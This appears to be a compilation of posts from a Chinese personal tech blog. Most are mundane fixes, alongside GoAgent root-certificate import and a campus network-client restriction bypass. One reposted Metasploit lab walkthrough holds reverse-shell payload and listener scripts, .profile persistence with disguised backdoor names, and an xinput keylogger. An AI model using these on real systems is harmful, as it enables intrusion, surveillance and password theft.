小记一下批处理窗口中文出现乱码解决方法 技术文章
今天我使用绿色单文件版的酷狗音乐的时候,需要使用批处理来显示桌面图标,但是我打开后出现乱码。。。。。。于是就开始和度娘聊天了。。。。。。
首先搜到的方法是:修改注册表:修改codepage的值改为十进制的936或者十六进制的3a8 但是我系统是windows8.1 的 并没有神马codepage !
于是 Ctrl+F 搜索 codepage 结果这玩意儿。。。
果断放弃这种修改注册表的方法!
第二种方法是:直接在DOS命令框修改 点运行中的 CMD.EXE 窗口或批处理 然后点击窗口左上角,出现菜单,选“默认值”一看,“属性”中的“当前代码页”框框里写着这么一行:“437 (OEM - 美国)”,将“当前代码页”设置为“936 (ANSI/OEM - 简体中文 GBK)”,点“确定”。再打开批处理,OK了!:
第三种方法是:直接修改批处理文件,找到批处理文件,右键---编辑---用记事本打开,在其第一行添加 这样的带代码:chcp 936
小说明一下:
十六进制"000003a8"或十进制"936",表示“936 (ANSI/OEM - 简体中文 GBK)”。
十六进制"000001b5"或十进制"437",表示“437 (OEM - 美国)”。
未加之前:
添加之后:
再次运行,就显示中文了!如图:
这种方法也是博主认为最为有效且便捷的方法。
最后一种方法:
因为面出现这种情况是编码不同导致,所以在最开始就应该把编码修正,支持中文的编码是ANSI。我们第一步是新建一个txt文件。
然后点击新建的文本文档,然后选择“文件”=》“另存为”
cmd中的编码方式为ANSI,若中文不是此编码方式则会出现乱码。所以我们在编码的时候选择“ANSI”
然后把批处理里面的内容复制过来,粘贴到新建的这个文本里面,再次打开也就显示正常了。
好了,今天就小记到这里吧。希望对遇到这种情况的朋友有所帮助。
每天一点点,记录自己的成长中的那些琐事。。。。。。。
Gravatar被墙后解决头像不能正常显示的五种方法(持续更新中。。。) 技术文章
Gravatar被墙后,很多博客的头像显示都不正常了,网上也有很多的方法,但是不全面,今天Mrxn帮你搜集汇总,发布在Mrxn's Blog 。
方法一:
打开include/lib/function.base.php 找到如下代码:
function getGravatar($email, $s = 40, $d = 'mm', $g = 'g') {
$hash = md5($email);
$avatar = "http://www.gravatar.com/avatar/$hash?s=$s&d=$d&r=$g";
return $avatar;
}
修改为
$avatar = "https://secure.gravatar.com/avatar/$hash?s=$s&d=$d&r=$g";
方法二:
同样打开include/lib/function.base.php
将$avatar = "http://www.gravatar.com/avatar/$hash?s=$s&d=$d&r=$g";
修改为:$avatar = "http://gravatar.duoshuo.com/avatar/$hash?s=$s&d=$d&r=$g";
方法三:
也是打开include/lib/function.base.php
将/**
* 获取Gravatar头像
* http://en.gravatar.com/site/implement/images/
* @param $email
* @param $s size
* @param $d default avatar
* @param $g
*/
里面的http://en.gravatar.com/site/implement/images/
修改为:http://cn.gravatar.com/site/implement/images/
方法四:缓存头像,本地缓存。
<?php function get_avatar($mail,$size = '40') { $email_md5=md5(strtolower($mail));//通过MD5加密邮箱 $cache_path=EMLOG_ROOT."/content/templates/uu_hcms/cache"; //缓存文件夹路径 if(!file_exists($cache_path)) { mkdir($cache_path,0700); } $avatar_url=TEMPLATE_URL."cache/".$email_md5.'.jpg'; //头像相对路径 $avatar_abs_url=$cache_path."/".$email_md5.'.jpg'; //头像绝对路径 $cache_time=24*3600*7; //缓存时间为7天 if (empty($default)) $default = $cache_path. '/default.jpg'; if(!file_exists($avatar_abs_url) || (time()-filemtime($avatar_abs_url)) > $cache_time)//过期或图片不存在 { $new_avatar = getGravatar($mail); copy($new_avatar,$avatar_abs_url); } return $avatar_url; } ?>
插入module.php中,修改自12年某emer的代码。缓存7天可以自己修改,缓存呢可以加快页面是显示速度,但也不能那么及时更新头像了。看自己需要吧。对路由服务器来说,加载留言板的速度无疑快了不少。
使用方法:在module.php的最新评论 显示评论 显示子评论里面将getGravatar替换成get_avatar 。OK 完工。
方法五:自定义默认头像,个性DIY
详情,请查看我早期的文章:让emlog的留言板和评论使用本地头像,加速访问,提升美观
更多方法正在搜集研究中,尽请期待!请关注我的博客:https://mrxn.net
【火狐】安全提醒! 技术文章
一般的使用者,如果查资料只是看看,那么你可以忽略下文。
特别注意:
-
如果你想要用这个火狐浏览器上国内外网站又不留下你的真实ip,那么你需要特别注意以下几个方面:
-
点击火狐浏览器右上方的那个‘小狐狸头’按钮,选择使用“【GoAgent_8087 全局模式】”这种模式,切记!使用这种模式访问所有网站都是使用代理(除Google的部分域名是直连)。然后你可以去查ip网站看一下自己的ip是否已变为国外ip。
- 查ip网站:http://ip-check.info/?lang=en 打开这个网站之后再点页面下方的START TEST!,在转到的页面上看一看你的真实ip有没有暴露。
<p> <br /> </p>
- 还需要禁用所有插件(注意,是插件,不是扩展,插件不同于扩展,插件基本上都是你电脑上的程序,所以得自己来操作这一步,而且每换一台电脑都需要在火狐浏览器里设置这一步。。会暴露真实ip的主要是flash插件,为防止万一,应禁用所有插件。)。【禁用flash插件可能会造成有一些依赖flash插件播放的网页视频不能播放,或者某些网页上的flash元素不能显示等情况;禁用某些网盘上传插件可能会造成无法上传文件到网盘。此类情况请自己权衡是否禁用相关插件,如果不禁用,那么建议至少应该开启VPN】
-
点击火狐浏览器右上方的那个‘小狐狸头’按钮,选择使用“【GoAgent_8087 全局模式】”这种模式,切记!使用这种模式访问所有网站都是使用代理(除Google的部分域名是直连)。然后你可以去查ip网站看一下自己的ip是否已变为国外ip。
-
火狐禁用插件的方法: 点击火狐右上方的菜单按钮(三横杠),再点“附加组件”,再点“插件”,再点每个插件右边“总是激活”那里,改成“总不激活”就可以了,下图中已经设置好的那个Shockwave Flash就是flash插件,建议禁用所有插件。
设置系统使用GoAgent 技术文章
- 设置MAC系统的网络使用goagnt,目的是让safari和系统其它的应用也可以翻出去,比如facebook在MAC上的客户端。如果没有这方面需要的就不需要此项设置。当然,要想让此设置起作用,也是要先开启goagnt。
设置方法:
打开网络设置,如下图。在【PAC 文件 URL】右侧框中粘贴这个地址:http://127.0.0.1:8086/proxy.pac
然后点现在应用即可。
如果使用的是Wi-Fi网络,那么设置位置如下图,点击【自动代理配置】那里,然后再将这个地址 http://127.0.0.1:8086/proxy.pac 粘贴进去。
导入GoAgent证书方法 技术文章
双击goagnt目录下的CA.crt证书导入到系统,如下图:
在Launchpad=>实用工具=>钥匙串访问=>系统=>中找到GoAgnt CA并双击,选择=>信任=>使用此证书时=>总是信任,如下图:
完成后,重启浏览器,再打开facebook、twitter等https开头的网址就不会出现证书错误的提示了。
TCP/IP并发连接数修改方法(XP系统) 技术文章
TCP/IP并发连接数修改方法(XP系统)
使用GoGo搜ip速度很慢吗?请看下文。
WindowsXP系统默认限制了TCP/IP并发连接数,默认是10,需要将这个修改成更大才能让一些软件的功能发挥到更好,比如GoGo这个通道检测器就是这样。
我这里在网上搜到了一个小软件可以修改TCP/IP并发连接数,软件小巧,操作简单。
软件名:TCPIP连接数补丁.exe
下载地址(我网盘): http://pan.baidu.com/s/1bnElPnx
使用方法:
下载压缩包后解压出来,双击运行解压出来的“TCPIP连接数补丁.exe”程序,打开如下图小窗口:
如上图,将数值改为 1024(不要大于1024),然后点“应用”,由于修改的是系统文件,所以系统会弹出文件保护警告,如下图:
如上,按箭头所示操作,然后重启电脑就可以了。
除非以后重装系统,否则都不需要再修改了。
解决SSL错误 技术文章
如果你使用我分享的的谷歌浏览器遇到访问YouTube、Facebook、Twitter、Google等以https开头的网址时出现【SSL错误】,https那里有个斜杠,如下图:
或者提示【该网站的安全证书不受信任!】、或者页面排版混乱,这种情况都是GoAgent的证书没有成功导入造成的,需要自己手动导入一次证书。导入方法如下: 在Agent文件夹内有一个名为CA.crt的文件,如果你电脑隐藏了文件的扩展名,那么它的名字就是CA,它就是证书文件,如下图:
双击这个CA.crt文件,弹出的小窗口点【安装证书】,如下图:
弹出窗口点【下一步】,如下图:
下图中,点选【将所有证书放入下列存储区】,然后点【浏览】
弹出的小窗口内点选【受信任的根证书颁发机构】,然后【确定】,再点【下一步】,如下图:
接下来点【完成】,如下图:
在弹出的窗口点【是】。如下图〔如果没出现下图这个安全警告,说明系统已经存在此证书〕
提示导入成功,点【确定】,最后关闭那个证书窗口就可以了。
说明:如果相比火狐来说你更喜欢用谷歌浏览器,那么导入证书这个操作就是必须掌握的技术,整个过程比较简单,用不了一分钟。只需要导入一次,除非是重装了系统或者从证书管理器里删除了证书,否则不需要再次导入。
其实GoAgent软件本身具备自动导入证书的功能,在第一次启动软件的时候就执行自动导入证书到系统中,但是由于每个电脑内的环境不一样,个别安全类软件一干扰,就会造成证书不能成功导入,直接影响https开头的网站。
注: 火狐内置证书管理器,那个我已经导入了证书,所以火狐一般不会出现这个问题。除了火狐,其它浏览器都是使用系统的证书管理器,所以才会出现这样的问题,但也不是每台电脑都会出现。
Metasploit渗透Ubuntu 12.04攻击测试演练(转) 渗透测试
这篇文章写来主要是一次娱乐性的练习。共享出攻击的细节,其中包括一些经过原作者修改过的各种来源的脚本文件。渗透的过程不是重点,之所以发出来最大的原因主要是文章后半部分维持持久化攻击的一些地方还是很值得学习的,顺便大家也可以再次熟悉一下MSF框架。希望对大家有所帮助。
攻击环境:
Ubuntu12.04LTS 32bit(靶机,默认的软件安装配置)
VirtualBox
Metasploit framework(最新版)
Debian Squeeze 64bit (攻击机)
首先,我们先准备一个简单的二进制ELF可执行文件生成器的bash脚本,这样后续工作就可以轻松很多。然后将脚本放在Metasploit的主目录下:
#!/bin/bash clear echo"************************************************" echo " LINUX ELF BINARY GENERATOR FOR METASPLOIT *" echo"************************************************" echo -e "What IP are we gonna use ex. 192.168.0.1? \c" read IP echo -e "What Port Number are we gonnalisten to? : \c" read port ./msfpayloadlinux/x86/meterpreter/reverse_tcp LHOST=$IP LPORT=$port R| ./msfencode -t elf-e x86/shikata_ga_nai >> Executive echo "Executive binarygenerated.." chmod u=rwx Executive ls -la Executive
运行脚本之后进行简单的配置之后我们就有了一个名为Executive的二进制可执行文件。
接下来需要我们在攻击机上启动一个监听来等待靶机主动连上来,因为我们这里使用了全球流行的reverse后门哇咔咔!为了工作更加简(zhuang)单(bi),我这里又写了一个bash,然后将bash文件也放在Metasploit的主目录下面:
#!/bin/bash clear echo"*********************************************" echo " METASPLOIT LINUX METERPRETER LISTENER *" echo"*********************************************" echo "Here is a network device listavailable on yor machine" cat /proc/net/dev | tr -s ' ' | cut -d ' ' -f1,2 | sed -e '1,2d' echo -e "What network interface are wegonna use ? \c" read interface echo -e "What Port Number are we gonnalisten to? : \c" read port # Get OS name OS=`uname` IO="" # store IP case $OS in Linux) IP=`/sbin/ifconfig $interface | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print$1}'`;; *)IP="Unknown";; esac echo " starting the meterpreter listener.." ./msfcli exploit/multi/handler PAYLOAD=linux/x86/meterpreter/reverse_tcp LHOST=$IP LPORT=$port E
好了,监听生成结束,然后就需要我们使用各种猥琐的方式将后门木马转给Ubuntu靶机执行。因为这里是练习,所以我们直接将ELF文件放在受害机中执行 此处有图胜有声
现在我们就已经在靶机上成功执行了这个“未知”的二进制文件。当我们双击这个文件时没有任何反应(所以这个时候后门注入才是王道),不过我们的攻击机上的监听已经有了结果:
然后呢?我们现在有了一个meterpreter shell,不过应该怎样获取到root权限呢?接下来的工作才是最有趣的部分:接下来,我们将在靶机的home中放一个后门文件,并通过修改.profile文件做到每次靶机启动的时候都会执行我们的后门。为了做到这步,我们首先需要下载靶机的.profile文件:
我们在文件中加了一点点内容以保证每次登录都能成功执行我们的后门文件,这里加的是./executive(用的就是生成的后门文件名,这里我们可以起一些诱惑性大的名字比如sys.conf之类的,但是要保证文件具有可执行+x权限)
然后我们将修改后的.profile文件传回靶机
接着我们上传我们的ELF二进制可执行文件到靶机的home目录里面,并改名为executive同时要保证文件具有RWX属性
那么现在我们就获得了一个简单的持久性后门,每次靶机开机我们这边就可以获得一个上线shell,并且文件时静默执行不含任何防腐剂的。
好的,第一步持久化我们已经完成了,接下来我们做点什么呢?
键盘记录
Ubuntu自带xinput所以我们可以利用这个做一个键盘记录keylogger记录靶机在X界面下的一些按键输入。同时这里作者又写了一bash脚本(……):
#!/bin/bash export DISPLAY=:0.0 xinput list echo -e "KBD ID ?" read kbd xmodmap -pke > /tmp/.xkey.log script -c "xinput test $kbd" |cat >> /tmp/.xkey.log & echo "The keylog can be downloadedfrom /tmp/.xkey.log" echo "Use the meterpreter downloadfunction" echo "Press CTLR+C to exit thissession, keylogger will run in backround"
写完之后我们将脚本放在靶机中然后执行。当然最好也来个登录启动。
启动之后我们还需要手工找到键盘的KBD ID,然后输入,这里是10
然后让脚本去识别一下。脚本记录的log文件默认是放在/tmp文件夹下的,一段时间之后,我们下载下来分析一下。
这个脚本的生成的内容地球人是看不懂的,所以我们将log文件down下来之后还需要进行接下来的处理,这里作者写了一个bash文件生成了一个python脚本来解码这段天书log(…),下面是解码的bash脚本:
#!/bin/sh cat .xkey.log | grep keycode >xmodmap.pke cat .xkey.log | grep 'key p' > xlog rm -f .xkey.log #Generating some Python to do the decoding echo 'import re, collections, sys' >decoder.py echo 'from subprocess import *' >>decoder.py echo 'def keyMap():' >> decoder.py echo ' table = open("xmodmap.pke")' >> decoder.py echo ' key = []' >> decoder.py echo ' for line in table:' >> decoder.py echo " m = re.match('keycoded+) = (.+)',line.decode())" >> decoder.py echo ' if m and m.groups()[1]:' >> decoder.py echo ' key.append(m.groups()[1].split()[0]+"_____"+m.groups()[0])'>> decoder.py echo ' return key' >> decoder.py echo 'def printV(letter):' >>decoder.py echo ' key=keyMap();' >> decoder.py echo ' for i in key:' >> decoder.py echo ' if str(letter) ==i.split("_____")[1]:' >> decoder.py echo ' return i.split("_____")[0]'>> decoder.py echo ' return letter' >> decoder.py echo 'if len(sys.argv) < 2:' >>decoder.py echo ' print "Usage: %s FILE" %sys.argv[0];' >> decoder.py echo ' exit();' >> decoder.py echo 'else:' >> decoder.py echo ' f = open(sys.argv[1])' >>decoder.py echo ' lines = f.readlines()' >>decoder.py echo ' f.close()' >> decoder.py echo ' for line in lines:' >> decoder.py echo " m = re.match('keyss +(\d+)',line)" >> decoder.py echo ' if m:' >> decoder.py echo ' keycode =m.groups()[0]' >> decoder.py echo ' print(printV(keycode))' >> decoder.py echo 'Please see LOG-keylogger for theoutput......' python decoder.py xlog > LOG sed ':a;N;$!ba;s/\n/ /g' LOG >LOG-keylogger rm -f LOG rm -f xmodmap.pke rm -f decoder.py rm -f xlog cat LOG-keylogger
现在我们运行一下这个bash脚本,我们就可以看到效果了:
好,keylogger也搞完了接下来就是怎么样获取到root权限了。
获取root权限
在这里,我们从以上的keylogger中获取到了root密码,但是当我们直接输入sudo su获取root的时候却遇到了无法返回响应的情况:
这里有一个绕过的好方法,就是利用自带的python来获取一个交互式的shell从而可以让我们获取root权限
python -c “import pty;pty.spawn(‘/bin/bash’)”
这样我们sudo su的时候就可以输入root密码了,然后成功获取到了一个root级别的shell,整个过程就完满完成了。
后记
CentOS, Debian Squeeze等有些系统默认是不带xinput的所以keylogger的部分就没办法完成了。
另外,要想防止这个键盘记录其实也很简单,只要去掉xinput的可执行权限就可以了
chmod a-x /path/to/xinput
当然,即便是目标机器上没有自带xinput那难道就会难倒我们么?拜托我们都已经有了meterpreter shell了好么。
最后附上作者做的良心的视频Demo(已搬回墙内,不谢!):
百度网盘下载/观看:
链接: http://pan.baidu.com/s/1eQIkbQy 提取码: m37p
用C#解决100钱买100鸡的数学题 技术文章
我们老师今天给我们布置了一个小作业,就是百钱买百鸡,具体的题目是这样的:
100元钱 要求买100只鸡
其中,
公鸡 5/只
母鸡 3/只
小鸡 1元*3只
求有几种组合?
明显题目中有三个未知数,用方程求解貌似不可能,因为答案肯定不为唯一.
好吧,我就用C#来做吧,开始,我们得定义三个变量吧, a-公鸡 ,b-母鸡 , c-小鸡 ,
条件就是:a+b+c=100(只) 而且还得同时满足 : 5*a+3*b+c/3=100(元)
那么,很明显,我们可以用 if语句 来搞定它! 打开我们的visual studio 2013 ,新建项目,下面是代码,我先贴下完整的代码,后面说一些注意的事项.
---------------------------------------------------------------------------------------------------------------------
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace 百钱买百鸡
{
class Program
{
static void Main(string[] args)
{
for (int a = 1; a <= 100; a++) //这里我们定义变量a为公鸡
for (int b = 0; b <= 100; b++) //定义变量b为母鸡
for (int c = 0; c <= 100; c++) //定义变量c为小鸡
if ((a + b + c) == 100 && (a * 5 + b * 3 + c / 3) == 100&&c%3==0) //这里是重点,我们用if循环来控制条件,如果达到条件就运行,否者就不运行.
Console.WriteLine("满足条件的有:{0},{1},{2},", a, b, c); //输出我们的三个变量的结果 { } { } { } { } } } }
然后 ctrl + F5 调试运行,OK,效果如下:
一共有三组,这是从100*100*100中结果中筛选出来的满足条件的,如果人工筛选,那工作量就太大了!但是程序却一闪而过就出来的,所以我们编程得有一种思想,让程序去解决问题,我们只需发布命令就行!
好了,下面说一下需要注意的地方:我们这编程的时候如果使用的是搜狗输入法,最好做如图所示的操作,
这样就可以大大的避免在编辑代码的时候输入中文符号,并因此而出现调试程序出现错误.
在我用 if语句 定义条件的时候,出现了这样一幕:
满足条件的有:3,20,77,
满足条件的有:4,18,78,
满足条件的有:7,13,80,
满足条件的有:8,11,81,
满足条件的有:11,6,83,
满足条件的有:12,4,84,
请按任意键继续. . .
很明显,这其中的组合又不满足的,因为小鸡的个数不可能是小数啊! 这是在最开始的时候没有想到的.......
我们在看出现这个问题的代码吧:
if ((a + b + c) == 100 && (a * 5 + b * 3 + c / 3) == 100) 可以看出,我们没有定义小鸡能被3整除.加&&c%3==0
最后变成: if ((a + b + c) == 100 && (a * 5 + b * 3 + c / 3) == 100&&c%3==0) 就完美解决了!
对于2014最新版联通校园宽带认证的破解学习笔记---开启wifi 无连接限制的四种方法 技术文章
注:最近有很多童鞋反应学校的联通拨号认证太不人道,所以我抱着学习试一试的心态,
做了一下测试,只做学习研究参考,不承担相应后果,如果你继续往下看,
就表明你默认同意自愿承担所有责任,与本博客无关。
第一种方法:手动修改深澜客户端名称支持深澜客户端校园网
PS:要是Srun3000这个名字不行, 就改成Srun3K;反之一样的道理!
另外,博主实验的是猎豹wifi 哟,其他的开wifi的软件应该也能用吧!
1、首先打开任务管理器;
2、再找到深澜的进程;发现深澜客户端的进程名是Srun3000 (1).exe,跟正常的Srun3000.exe进程名不一样
3、然后再到深澜的安装目录下面,找到对应的文件,如下图:
4、再选中那个文件,右键重命名把它改回Srun3000.exe这个名字,即可!
5、最后再登录你的深澜,然后再开启猎豹免费WIFI即可!
PS:这里再提多一种情况:使用深澜客户端,猎豹WIFI会自动、闪退或者重启
出现上面的主要原因还是深澜客户端的名字被修改导致的,请按上面的手动解决办法尝试下,
这里再提下深澜客户端的文件名
旧版本:srun3000.exe
新版本:srun3k.exe
第二种方法:补丁支持深澜校园网
1、先下载支持补丁
2、然后再把它解出来,放到深澜的客户端目录下面
3、然后再运行支持补丁即可,最后一步当然是运行你的猎豹免费WIFI啦!
第三种方法:利用沙盘支持深澜校园网客户端
1、先下载沙盘: (只能是在32位上运行 64位的是无效的!)
2、从沙盘里面运行你的深澜客户端(如下图)
第四种方法:简单方法动手支持深澜校园网客户端
1、先开启深澜客户端联网
2、接下来右键打开任务管理器,找到深澜的进程结束掉。下面再继续开启你的猎豹免费WIFI即可!
3、登录客户端联网,开启你的猎豹免费WIFI即可。
再次更新:打开客服端,输入账号密码 登陆后直接重启 之后再开猎豹wifi 就完美解决,不过方法不怎么好,嘿嘿 但是对于新旧版本都能搞定!
猎豹自动退退出解决方法:使用深澜客户端,猎豹wifi自动重启
确保您使用的猎豹wifi是最新版版本,下载地址:
http://wifi.liebao.cn
深澜客户端文件名
旧版本:srun3000.exe
新版本:srun3k.exe
需要确保exe的文件名正确,如果文件名不正确,请按以下步骤操作:
1、退出猎豹wifi,退出深澜客户端
2、到深澜客户端文件目录下,找到文件-右键-重命名
3、名称修改成srun3000.exe,运行srun3000.exe,再运行猎豹wifi,查看猎豹wifi会不会自动重启
(如果不会自动重启,就完成了,如果会自动重启,退出猎豹wifi看第四步)
4、再把文件名修改成srun3k.exe,运行srun3k.exe,再运行猎豹wifi,查看猎豹wifi会不会自动重启
这里主要强调的是深澜的客户端文件名要正确,不能任意修改。
文章长期更新,欢迎评论或者留言反馈情况,我会尽量解决!
欢迎大家转载,相互学习,记得带上我的博客地址;https://mrxn.net 谢谢!严重鄙视复制别人的去装逼!